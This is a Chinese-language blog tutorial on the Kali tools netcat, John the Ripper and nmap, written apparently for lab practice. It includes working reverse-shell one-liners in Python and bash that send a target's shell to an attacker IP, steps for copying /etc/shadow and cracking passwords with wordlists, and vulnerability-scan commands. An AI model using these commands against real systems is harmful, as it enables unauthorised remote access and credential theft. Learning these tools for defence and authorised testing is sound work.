kali工具的使用

2023-11-16

一、netcat简介与使用

nc的全称为NetCat,它能够建立并接受传输控制协议(TCP)和用户数据报协议(UDP)的连接,Netcat可在这些连接上读写数据,直到连接关闭为止。它可以通过手工或者脚本与应用层的网络应用程序或服务进行交互。从技术上来讲,NetCat并不能产生UDP连接,因为UDP是一种无连接的协议。NetCat没有图形界面,很粗糙,很原始。Nc主要功能,Nc可以在两台设备上面相互交互,即侦听模式/传

nc工具的下载及安装:

下载:地址The GNU netcat - Browse /netcat/0.7.1 at SourceForge.net(下载的是netcat-0.7.1.tar.gz版本)

解压到自己指定目录中:

tar -zxvf netcat-0.7.1.tar.gz -C /usr/local

安装:

./configure --prefix=/opt/netcat

编译:

make

安装:

make install

配置环境变量:

vim /etc/profile

添加以下内容:

# set netcat path  
​
export NETCAT_HOME=/opt/netcat 
​
export PATH=$PATH:$NETCAT_HOME/bin

保存,退出,并使配置生效:

source /etc/profile

常用命令:

nc的基本命令行形式是

nc [options] host ports

其中host是要扫描的主机名或IP地址,ports要么是一个单独的端口,要么是一个端口范围(用m-n的形式指定),要么是一系列用空格隔开的单个端口。

-h 帮助信息

-i secs 延时的间隔

-l 监听模式,用于入站连接

-L 连接关闭后,仍然继续监听

-n 指定数字的IP地址,不能域名服务器

-o file 记录16进制的传输

-p port 本地端口号

-r 随机本地及远程端口

-s addr 本地源地址

-t 使用TELNET交互方式

-u UDP模式

-v 详细输出--用两个-v可得到更详细的内容

-w secs timeout的时间

-z 将输入输出关掉--用于扫描时

nc的基本使用方法:

1、实现连接通讯

服务端 监听端口 Nc -lnvp 端口

客户端 连接端口 nc ip 端口

代表监听本地的端口输出结果不加域名

 

2、传输文件内容

服务端:nc -lvp 6666 > 2.txt

客户端:nc ip 端口 < 2.txt

3、获取shell

获取shell分为两种,一种是正向shell,一种是反向shell。如果客户端连接服务器端,想要获取服务器端的shell,那么称为正向shell,如果是客户端连接服务器,服务器端想要获取客户端的shell,那么称为反向shell。

正向shell:

使用Netcat能实现类似ssh的功能,即将目标机器shell终端暴露在某个端口上,然后本地机器使用Netcat连接到目标机器上,就可以访问目标机器的shell终端

示意图:

 

攻击机连接靶机,攻击机作为客户端,靶机作为服务器,攻击机主动连接靶机。

缺点:靶机如果有waf或者做了策略基本连不上。

反向shell:

示意图:

 

 

靶机连接攻击机,靶机作为客户端主动连接上作为服务端的攻击机。

优点:便于实战使用,不会因为靶机有防火墙而无法连接。

反向shell的渗透思路:命令执行漏洞 ,木马的方式 等。

python方法:

Python:

代码块

python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("192.168.18.129",7788));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/sh","-i"]);'

攻击机开启nc监听端口9999

nc -lvp 9999

靶机利用python代码链接攻击机9999端口并发送自己的shell文件

攻击机:

靶机:

理解:python方法可以在靶机没有nc软件的情况下对攻击机发送shell文件,但需要靶机安装python环境,对靶机有一定要求

bash方法:

代码:

bash -i >& /dev/tcp/192.168.163.128/9999 0>&1

靶机:

攻击机:

理解:同理python,不需要环境,软件,linux自带的脚本编译器


二、john工具的使用

John the Ripper是一个快速的密码破解程序,目前可用于Unix,Windows,DOS和OpenVMS的许多口味。其主要目的是检测弱Unix密码。除了在各种Unix系统上最常见的几种crypt(3)密码哈希类型之外,现在支持的还有Windows LM哈希,以及社区增强版本中的大量其他哈希和密码。

下载:

Kali中无需下载直接使用 其他Linux请使用命令: 请记得连上互联网!

sudo apt-get install john 或 sudo yum install –y john

常用命令:

--single[=SECTION] ] “单裂”模式

--wordlist[=FILE] --stdin 单词表模式,从FILE或stdin读取单词

--pipe 像--stdin一样,但批量读取,并允许规则

--loopback[=FILE] 像 --wordlistg一样, 但是从.pot文件中获取单词

--dupe-suppression 压制wordlist中的所有模糊(并强制预加载)

--prince[=FILE] PRINCE模式,从FILE中读取单词

--encoding=NAME 输入编码(例如,UTF-8,ISO-8859-1)。 也可以 看看doc / ENCODING和--list = hidden-options。

--rules[=SECTION] 为单词表模式启用单词修改规则

--incremental[=MODE] “增量”模式[使用部分模式]

--mask=MASK 掩码模式使用MASK

--markov[=OPTIONS] “马尔可夫”模式(参见doc / MARKOV)

--external=MODE 外部模式或字过滤器

--stdout[=LENGTH] 只是输出候选人密码[在LENGTH切]

--restore[=NAME] 恢复被中断的会话[名为NAME]

--session=NAME 给一个新的会话NAME

--status[=NAME] 打印会话的状态[名称]

--make-charset=FILE 制作一个字符集文件。 它将被覆盖

--show[=LEFT] 显示破解的密码[如果=左,然后uncracked]

--test[=TIME] 运行测试和每个TIME秒的基准

--users=[-]LOGIN|UID[,..] [不]只加载这个(这些)用户

--groups=[-]GID[,..] 只加载这个(这些)组的用户

--shells=[-]SHELL[,..] 用[out]这个(这些)shell来加载用户

--salts=[-]COUNT[:MAX] 用[out] COUNT [到MAX]散列加载盐

--save-memory=LEVEL 启用内存保存,级别1..3

--node=MIN[-MAX]/TOTAL 此节点的数量范围不在总计数中

--fork=N 叉N过程

--pot=NAME 锅文件使用

--list=WHAT 列表功能,请参阅--list = help或doc / OPTIONS

--format=NAME 强制使用NAME类型的散列。 支持的格式可以用-- list=formats和--list=subformats来看(最常用)

john的破解模式:

破解条件:已知密文

  • 字典模式:(--worldlist)在这种模式下,用户只需要提供字典和密码列表用于破解。

    #命令方式:

    john --wordlist=wordlst.txt pass_shadow.txt

    #wordlst.txt:是字典文件,每个密码独占一行

    #pass_shadow.txt:密码文件

    还可以仅破解指定用户(--user=root)

  • 单一破解模式:(--single)这是john作者推荐的首选模式。John会使用登录名、全名和家庭通讯录作为候选密码。

    #命令方式:

     john --single pass_shadow.txt

  • 递增模式:在该模式下john会尝试所有可能的密码组合。这是最具威力的一种。

  • 外部模式:在这种模式下,用户可以使用john的外部破解模式。使用之前,需要创建一个名为(list.external:mode)的配置文件,其中mode由用户分配。

案例:

在使用时,我们首先要将 etc 目录下 passwd 、 shadow 的内容复制到另一个文本文件中,如下命令 。

然后使用john工具进行简单的暴力破解,如下:

当用户的密码设置的十分困难时,我们就需要一个字典文件来进行破解,这时我们可以使用John -w –rules :使用字典文件来进行解密,如人们常用hello、admin、password、superman、cooler、asdfgh、 123456等作为自己的密码。而-rules参数则在此基础上再加上些变化,如字典中有单词test,则john还会尝试使用tes、teSt、 tset等单词变化进行解密。



三、nmap工具的使用

Nmap是一款开源免费的网络发现和安全审计工具。它被用来快速扫描大型网络.包括主机探测于发现、开放的端口情况、操作系统与应用服务指纹识别及常见安全漏洞。它的图形化界面是Zenamp

NMAP的功能包括:

主机发现

端口扫描

版本侦测

操作系统侦测

常用参数:

-T4指定扫描过程的级别,级别越高扫描速度越快,但也越容易被防火墙或者IDS 屏蔽, 一般推荐使用T4级别

-sn只进行主机发现,不进行端口扫描

-〇进行系统版本扫描

-sV进行服务版本扫描

-p 扫描指定端口

-sS发送SYN包扫描

-sT发送TCP包扫描

-sA发送ACK包扫描

-sU UDP扫描

-PO 不进行ping扫描

-script指定脚本扫描

常见的6种 Nmap端口状态及其含义:

open :开放的,表示应用程序正在监听该端口的连接,外部可以访问

filtered:被过滤的.表示端口被防火墙或其他网络设备阻止,不能访问

closed:关闭的,表示目标主机未开启该端口

unfiltered:未被过滤的,表示nmap,无法确定端口所处状态,需进一步探测

open/ filtered:开放的或被过滤的, Nmap 不能识别

closed/ filtered:关闭的或被过滤的, Nmap 不能识别

常用的nmap命令:

1、nmap 192.168.1.1扫描单个目标

2、nmap 192.168.1.0/24扫描192.168.1.0这个网段

注意:A类 10.0.0.0/8

B类 172.0.0.0/16

C类 192.168.0.0/24

3、nmap 192.168.1.1 -p 21.22,23,80扫描192.168.1.1这个地址是否开放了某端口

4、 nmap -sS -T4 -sV 192.168.1.1 以sS.方式扫描.级别为T4.结果详细输出,扫描192.168.1.1

5、 nmap -ss-p1-65535 -v 192.168.1.1扫描192.168.1.1目标主机全部端口

6、 nmap --script=vuln 192.168.1.135 采用脚本扫描的方式,扫出对方存在的漏洞

本文内容由网友自发贡献,版权归原作者所有,本站不承担相应法律责任。如您发现有涉嫌抄袭侵权的内容,请联系:hwhale#tublm.com(使用前将#替换为@)

kali工具的使用 的相关文章

  • 在我的 index.php 中加载 CSS 和 JS 等资源时出现错误 403

    我使用的是 Linux Elementary OS 并在 opt 中安装了 lampp My CSS and JS won t load When I inspect my page through browser The console
  • CoAP数据包的大小是多少?

    我是这项技术的新手 有人可以帮助我了解一些疑问吗 Q 1 CoAP数据包的大小是多少 我知道有 4 字节固定标头 但是包括标头 选项和负载在内的最大大小限制是多少 Q 2 有像MQTT那样的Keep Alive的概念吗 它在UDP上工作 它
  • 内核模式下的线程(和进程)与用户模式下的线程(和进程)有什么区别?

    我的问题 1 书中现代操作系统 它说线程和进程可以处于内核模式或用户模式 但没有明确说明它们之间有什么区别 2 为什么内核态线程和进程的切换比用户态线程和进程的切换花费更多 3 现在 我正在学习Linux 我想知道如何在LINUX系统中分别
  • 需要一些建议来开始在 ARM(使用 Linux)平台上编程

    我 也许 很快就会在托管 Linux 发行版的 ARM 平台上工作 我不知道哪个发行版 我知道该项目涉及视频流 但我无法告诉你更多信息 其实我只收到通知 还没见到任何人 我从来没有在这样的平台上工作过 所以我的想法是在项目开始之前进行测试
  • 如何减去两个 gettimeofday 实例?

    我想减去两个 gettimeofday 实例 并以毫秒为单位给出答案 这个想法是 static struct timeval tv gettimeofday tv NULL static struct timeval tv2 gettime
  • Linux - 从第二个选项卡获取文本

    假设我们有这样的文件 一些文本11 一些文本12 一些文本13 一些文本21 一些文本22 一些文本23 文本由制表符分隔 我们知道第 1 列中的一些文本 但希望从第 2 列中获取文本 我知道我可以通过以下方式获取线路 grep somet
  • Linux:如何设置进程的时区?

    我需要设置在 Linux 机器上启动的各个进程的时区 我尝试设置TZ变量 在本地上下文中 但它不起作用 有没有一种方法可以使用与系统日期不同的系统日期从命令行运行应用程序 这可能听起来很愚蠢 但我需要一种sandbox系统日期将被更改的地方
  • Urwid:使光标不可见

    我正在使用 urwid 它是一个用于在 ncurses 中设计终端用户界面的 Python 框架 但有一件事我在 urwid 中无法做到 而这在 Curses 中很容易做到 使光标不可见 现在 选择按钮时光标是可见的 而且看起来很丑 有办法
  • Fortran gfortran linux 中的“分段错误(核心转储)”错误

    我正在创建一个程序 该程序将分析目录中的文件 fits 然后它将在另一个目录中创建另一个文件 txt 它只是一个转换器 当我尝试执行该程序 编译正常 时 它给了我一条错误消息 程序收到信号 SIGSEGV 分段错误 无效的内存引用 此错误的
  • Windows CE 与嵌入式 Linux [关闭]

    Closed 这个问题需要多问focused help closed questions 目前不接受答案 现在我确信我们都清楚 Linux 与 Windows 桌面的相对优点 然而 我对嵌入式开发世界的了解却少得多 我主要对行业解决方案感兴
  • 在 C++ linux 中将 STRINGS 写入串口

    我知道这个问题遍布互联网 但仍然没有任何东西能让我完全解决这个问题 我想用 C linux 将数据写入 Propeller 板的串行端口 从控制台获取输入时程序运行良好 但是当我向它写入字符串时总是返回 ERROR Invalid comm
  • 为什么我可以在 /proc/pid/maps 输出中看到几个相同的段?

    测试在32位Linux上进行 代码如下 int foo int a int b int c a b return c int main int e 0 int d foo 1 2 printf d n d scanf d e return
  • Mcrt1.o和Scrt1.o有什么用?

    我坚持使用以下两个文件 即 Mcrt1 o 和 Scrt1 o 谁能帮我知道这两个文件的用途 如何使用它 我们以 gcrt1 o 为例 在使用 pg 选项编译进行性能测试时非常有用 谢谢 表格的文件 crt o总是 C 运行时启动代码 大部
  • 警告:请求的映像平台 (linux/amd64) 与检测到的主机平台 (linux/arm64/v8) 不匹配

    警告 请求的映像平台 linux amd64 与检测到的主机平台 linux arm64 v8 不匹配 并且未请求特定平台 docker 来自守护程序的错误响应 无法选择具有功能的设备驱动程序 gpu 我在 mac 上尝试运行此命令时遇到此
  • 当用户按下打印时运行脚本,并且在脚本结束之前不开始假脱机(linux,cups)

    我需要做的是结合用户按下打印来执行 python 程序 脚本 并且在该程序退出之前不要让打印作业假脱机 原因是打印驱动程序不是开源的 我需要更改用户设置 在本例中是部门 ID 和密码 通常是每个用户 但因为这是一个信息亭 具有相同帐户的不同
  • 后台分叉无法正常工作[重复]

    这个问题在这里已经有答案了 我运行这个程序 在前景和背景中 int main int pid printf App Start pid d n getpid while 1 pid fork if pid 0 printf Child n
  • 在 Ubuntu 中找不到 X11/Xlib.h

    我试图在 Linux 上使用 open gl 编写一个相当简单的程序 但在编译时它说 编译拇指 egl 我对 GL 完全陌生 不知道出了什么问题 快速搜索使用 apt search Xlib h 打开 libx11 dev 包 但纯 Ope
  • 使用 posix_spawn 启动进程

    我正在使用以下代码在 Linux 中启动新进程 pid t processID char argV 192 168 1 40 char 0 int status 1 status posix spawn processID home use
  • Raspberry 交叉编译 - 执行程序以“分段错误”结束

    我有一个自己编写的程序 我想从我的 x86 机器上为 Raspberry Pi 构建它 我正在使用 eclipse 生成的 makefile 并且无法更改此内容 我已经阅读了 CC for raspi 的教程 Hackaday 链接 htt
  • 捕获数据包后会发生什么?

    我一直在阅读关于网卡捕获数据包后会发生什么的内容 我读得越多 我就越困惑 首先 我读过传统上 在网卡捕获数据包后 它会被复制到内核空间中的一个内存块 然后复制到用户空间 供随后处理数据包数据的任何应用程序使用 然后我读到了 DMA 其中 N

随机推荐

  • centos7执行命令iptables 出现Unit iptables.service failed to load: No such file or directory.

    解决方式 安装iptables services yum install iptables services 开机启动 systemctl enable iptables systemctl stop iptables systemctl
  • 更新powershell 7.3.2

    最近在使用VsCode时打开中断会时常提示你powershell已经更新前往地址下载 但是跳转到的页面描述有时候看不太清晰 于是去b站结合网络文档还是成功更新了 有兴趣的朋友可以通过这个链接查看一下在线文档 gt powershell的在线
  • ASPxTextBox中数据有效性设置

    1 选中ASPxTextBox控件 2 设置属性 Validationsettings中errordisplaymode requiredfield中errortext和isrequired 3 结果 4 总图
  • 100天精通Python(可视化篇)——第78天:matplotlib绘图模块基础入门大全

    文章目录 专栏导读 一 课程介绍 为什么要学习matplotlib 什么是matplotlib 二 绘制折线图 基础绘图 设置图片大小和分辨率 调整X或者Y轴上的刻度 设置中文显示 坐标轴添加描述信息 绘制网格 双折线图 添加图例 自定义绘
  • unittest使用ddt数据驱动的小demo

    一 ddt简介 1 ddt是 data driven testing的缩写 中文含义是数据驱动测试 2 ddt通常与unittest组合使用 常用的包有ddt data unpack file data 我这边使用前两种 二 ddt安装 1
  • word怎么改一张纸的方向_word单页怎么改变纸张方向

    word改变单页纸张方向的方法 1 将插入点移动到需要修改的单页的开头 2 在 布局 菜单中 分隔符 下选择 下一页 3 点击 纸张方向 选择 横向 4 将插入点移动到下一页的开头 再点击 分隔符 的 下一页 再点击 纵向 即可 本教程操作
  • el-tree和el-table相关使用

    文章目录 el tree实现模糊查询 el tree实现node节点增删改 el tree 实现节点懒加载 el tree获取所有选中的当前节点 el tree获取当前节点及其选中父节点 el table 获取多选行的所有节点 el tab
  • 产消合一。有感于华人新首富赵长鹏投资福布斯的话

    DAO Web 3 0引领的新时代是 产消合一的经济 逐渐发展成为 融投研产消宣多种角色为一身 有感于赵长鹏希望投资福布斯 xxFi或xx To Earn含DeFi GameFi Play To Earn P2E SocialFi Read
  • ES搜索引擎入门+最佳实践(一)

    ES在搜索和数据分析中的应用越来越广泛 在之前项目中对ES的使用有些心得 最近有不少朋友和同事都问到了ES 刚好最近也有些时间 所以打算通过8 10篇文章介绍下ES 其实我也不知道最终会写下多少篇 一 概述 本篇文章计划给大家介绍什么ES
  • CVPR2022 |小红书首创多图交互建模挑战热门研究课题,大幅提升行人重识别性能

    在CVPR2022上 小红书多模态算法组提出一种新颖的用于行人重识别的网络Neighbor Transformer NFormer 区别于传统的行人重识别网络仅仅对单张图片进行建模 NFormer对通过transformer对多张输入图像进
  • PWN保护机制以及编译方法

    0x00 声明 以下内容 来自先知社区的作者逆向萌新原创 由于传播 利用此文所提供的信息而造成的任何直接或间接的后果和损失 均由使用者本人负责 长白山攻防实验室以及文章作者不承担任何责任 0x01前言 Ctf中的pwn题 在利用gcc编译的
  • 调试不方便?我直接把公众号网页线上环境搬到本地

    在开发微信公众号网页时 我们最关心的一个问题就是调试 怎么调试线上环境 调试是否足够方便 本文分享一种能够极大提高效率的微信公众号网页开发调试技巧 可以实现在本地开发时直连线上生产环境 如果你还不清楚这种场景下的调试技巧 不妨花几分钟阅读本
  • 判断是否有统计意义/差异具有显著性/具有显著差异/零假设(希望证明为错误的假设)/卡方检验

    目录 1 有统计学意义 2 差异具有显著性 3 具有显著差异 4 统计学中的假设 4 1 零假设 4 2 备择假设 5 卡方检验 6 有统计学意义 和 差异显著 的区别 参考资料 1 有统计学意义 统计学意义是指在研究组和对照组间出现疗效差
  • Django-42-ORM多对多查询(ManyToManyField自动创建)

    前提 初始表数据 手动创建与自动创建的区别主要在于自动创建的表没有第三张可操作的表 其他没区别 此篇仅以自动创建为例说明 book表 author表 book authors表 关系表 django study app01 views py
  • 渗压计特性特点计算方法应用

    渗压计是一种测量渗流水或静力压力的传感器 适用于回填或原位孔隙水压力的测定 扬压力的测定 水位或容器中流体压力的测定 具有抗干扰能力强 长期稳定 密封可靠等特点 广泛应用于建筑 铁路 交通 水电大 坝 隧道等土木工程领域 特性 结构简单 紧
  • 软件工程:(四)概要设计

    一 定义 概要设计是一个设计师根据用户交互过程和用户需求来形成交互框架和视觉框架的过程 其结果往往以反映交互控件布置 界面元素分组以及界面整体板式的页面框架图的形式来呈现 这是一个在用户研究和设计之间架起桥梁 使用户研究和设计无缝结合 将对
  • KNN实现手写数字识别

    其他实现手写数字识别的方法 1 聚类 K means 实现手写数字识别 2 卷积神经网络 CNN 实现手写数字识别 3 全连接神经网络实现手写数字识别 4 聚类 K means 实现手写数字识别 2 实验数据是老师收集了所有人的手写数字图片
  • jeesite快速开发平台(一)----简介

    以下内容来自官网 一 平台简介 JeeSite是基于多个优秀的开源项目 高度整合封装而成的高效 高性能 强安全性的开源Java EE快速开发平台 JeeSite是您快速完成项目的最佳基础平台解决方案 JeeSite是您想学习Java平台的最
  • 寄存器的基本原理

    参考大神博客 https blog csdn net qq 37340753 article details 80935423 https blog csdn net u012493828 article details 53439226
  • kali工具的使用

    一 netcat简介与使用 nc的全称为NetCat 它能够建立并接受传输控制协议 TCP 和用户数据报协议 UDP 的连接 Netcat可在这些连接上读写数据 直到连接关闭为止 它可以通过手工或者脚本与应用层的网络应用程序或服务进行交互